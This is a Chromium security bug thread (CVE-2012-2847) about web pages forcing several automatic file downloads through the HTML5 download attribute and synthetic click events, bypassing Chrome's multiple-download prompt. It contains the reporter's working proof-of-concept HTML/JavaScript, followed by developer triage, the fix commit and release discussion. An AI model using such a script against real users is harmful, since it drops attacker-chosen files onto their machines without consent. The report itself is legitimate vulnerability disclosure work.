New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Closed: Dec 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 2
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Security: Chrome Allows "Carpet Bomb" from File Download

Reported by m...@m-austin.com, May 10 2012

Issue description

VULNERABILITY DETAILS
A malicious site ability to download an arbitrary number of files automatically with javascript. The attacker controls the name and the content of the file. An HTML link is created with the HTML5 "download" attribute set to the file name and the href to any url. A Javascript MouseEvents is used to automate the clicks. This will bypass the chrome banner alerting the user that more than one file is being downloaded.

VERSION
Chrome Version: 14.0.835.15+
Operating System: Tested on OSX, XP, Win7

REPRODUCTION CASE
POC: http://m-austin.com/hax/chrome/demo1.html  (unpublished at time of report)

<html>
<body>
	<script>
		var dl_link = document.createElement('a');
		document.body.appendChild(dl_link);

		dl_link.setAttribute('href', "data:,Hello%2C%20World!");

		for(i=1; i<=5; i++){
			var evt = document.createEvent("MouseEvents");
			dl_link.setAttribute('download', 'test_'+i+'.txt');
			evt.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
			dl_link.dispatchEvent(evt);
		}
	</script>
</body>
</html>
 
demo1.html
1.8 KB View Download
Labels: -Pri-0 -Area-Undefined Pri-2 Area-Internals Feature-Downloads SecImpacts-Stable SecImpacts-Beta SecSeverity-Low OS-All Mstone-19
Owner: rdsmith@chromium.org
Status: Assigned
We should reprompt after 50 downloads, but looks like we don't. this problem came up earlier in http://src.chromium.org/viewvc/chrome?view=rev&revision=43006.

Randy, can you please check what regressed in our downloads behavior or is this a new problem.

Comment 2 by m...@m-austin.com, May 10 2012

Currently Chrome will prompt you if more than one file automatically downloads from the same page via an iframe / content deposition (and then possibly a re-prompt after 50?). This however never prompts / banners the user because it assumes the action came from the intest to click? 

@inferno: Happy to look at this, but confused by your comment.  Specifically: a) this test case only downloads five downloads, so shouldn't run into the 50 download limit--on what basis do you think we're not triggering on that limit, and b) this still look like a bug to me as because as I read the DownloadRequestLimiter code, we should prompt after the *first* download, rather than allowing five downloads without user interaction.  The 50 download limit looks relevant only when we do that initial prompt, the user says ok, and then the web page tries to take massive advantage of that permission--not the current situation.

I'm not very familiar with this particular piece of code (though getting more so all the time :-}) so I wanted to just make sure you weren't seeing something I wasn't.  Having said that, I'll proceed on my interpretation of the code.  My current guess is that this is a failure in user_gesture interpretation.


Ok, this looks to me that a pathway that hasn't been historically well exercised (the renderer explicitly asking for a download rather than a navigation) didn't have the throttling code put on it.  My presumption is that that pathway was used when the download tag was put into place as the only easy way for the renderer to say to the browser that they wanted a download rather than a navigation.  It shouldn't be very hard to put the throttle on that path--I'll take a swing at that.  I don't have a sense as to what other purposes the renderer uses that path for, but in general I think we want to put a throttle on any path to downloads coming from the renderer.  I did check, and has_user_gesture is false along this pathway.

Project Member

Comment 5 by bugdroid1@chromium.org, May 15 2012

The following revision refers to this bug:
    http://src.chromium.org/viewvc/chrome?view=rev&revision=137137

------------------------------------------------------------------------
r137137 | rdsmith@chromium.org | Tue May 15 08:27:06 PDT 2012

Changed paths:
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/browser/renderer_host/buffered_resource_handler.cc?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/browser/renderer_host/render_message_filter.cc?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/public/browser/download_url_parameters.h?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/browser/download/download_manager_impl.cc?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/download/download_extension_api.cc?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/public/browser/resource_dispatcher_host.h?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/plugin_installer.cc?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/browser/renderer_host/resource_dispatcher_host_impl.cc?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/public/browser/resource_dispatcher_host_delegate.cc?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/renderer_host/chrome_resource_dispatcher_host_delegate.cc?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/renderer_host/chrome_resource_dispatcher_host_delegate.h?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/browser/renderer_host/resource_dispatcher_host_impl.h?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/public/browser/resource_dispatcher_host_delegate.h?r1=137137&r2=137136&pathrev=137137
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/public/browser/download_url_parameters.cc?r1=137137&r2=137136&pathrev=137137

Add flag to specify if explicitly requested download is from web.

This allows interposing the DownloadResourceThrottle on all web 
downloads, not just those occuring because of navigations.

BUG= 127522 
R=darin@chromium.org
TEST=Retry example in referenced issue; look for throttling message.


Review URL: https://chromiumcodereview.appspot.com/10381122
------------------------------------------------------------------------
Status: Fixed

Comment 7 by kenrb@chromium.org, May 18 2012

Cc: abarth@chromium.org rdsmith@chromium.org sadrul@chromium.org
 Issue 91998  has been merged into this issue.
Labels: Merge-Requested
I just noticed that this is marked MS-19, and am asking for merge permission to the branch for that reason.  But nonetheless, that surprises me--I don't think of it as that big a deal.  @inferno: Can you confirm that you think this should be merged to MS-19?

Comment 9 by laforge@google.com, May 18 2012

Labels: -Merge-Requested Merge-Rejected
Labels: -Mstone-19 -Merge-Rejected Mstone-20 Merge-Approved
Status: FixUnreleased
Apparently we haven't updated our flags for low-severity issues yet. I'm going to mark this as a possible merge to m20, since it looks very low-risk and fixes an old bug. But there's no need to merge to m19.
For credit purposes,  bug 91998  predates this report by quite a bit, but was mistriaged. So that reporter should be listed first in the release notes.

Comment 12 by m...@m-austin.com, May 31 2012

While re-testing this bug I noticed that a recent fix prevents "data: " urls from being downloaded. (as of production version 19.0.1084.52).  The POC url listed has been updated to download a "real" file file.txt and the demo works again as expected on the current production versions of chrome. 
Fix is not present in version 19 (see comment 10), may be present in version 20 pending a merge, and will be present in version 21.

Comment 14 by m...@m-austin.com, May 31 2012

I understand that the fix was not pushed to this production version, but i wanted to note that some other bug fix may prevent the original POC from working as expected before the final fix. 
Labels: -Restrict-View-SecurityTeam -Mstone-20 -Merge-Approved Restrict-View-SecurityNotify Mstone-21
Given the low severity and fairly involved-looking change, I'm inclined to just let this roll into M21 stable (which is already on the dev channel)
@matt: what credit line should I use in the Chrome 21 release notes?

Comment 17 by m...@m-austin.com, Jun 7 2012

"Matt Austin of Aspect Security" would be great. 
Labels: CVE-2012-2847
Project Member

Comment 19 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Status: Fixed
Project Member

Comment 21 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-Internals -Feature-Downloads -SecImpacts-Stable -SecImpacts-Beta -SecSeverity-Low -Mstone-21 Security-Severity-Low Security-Impact-Stable Security-Impact-Beta M-21 Cr-Internals Type-Bug-Security Cr-UI-Browser-Downloads
Project Member

Comment 22 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 23 by bugdroid1@chromium.org, Mar 14 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 25 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-Low Security_Severity-Low
Project Member

Comment 26 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 27 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 28 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 29 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 30 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment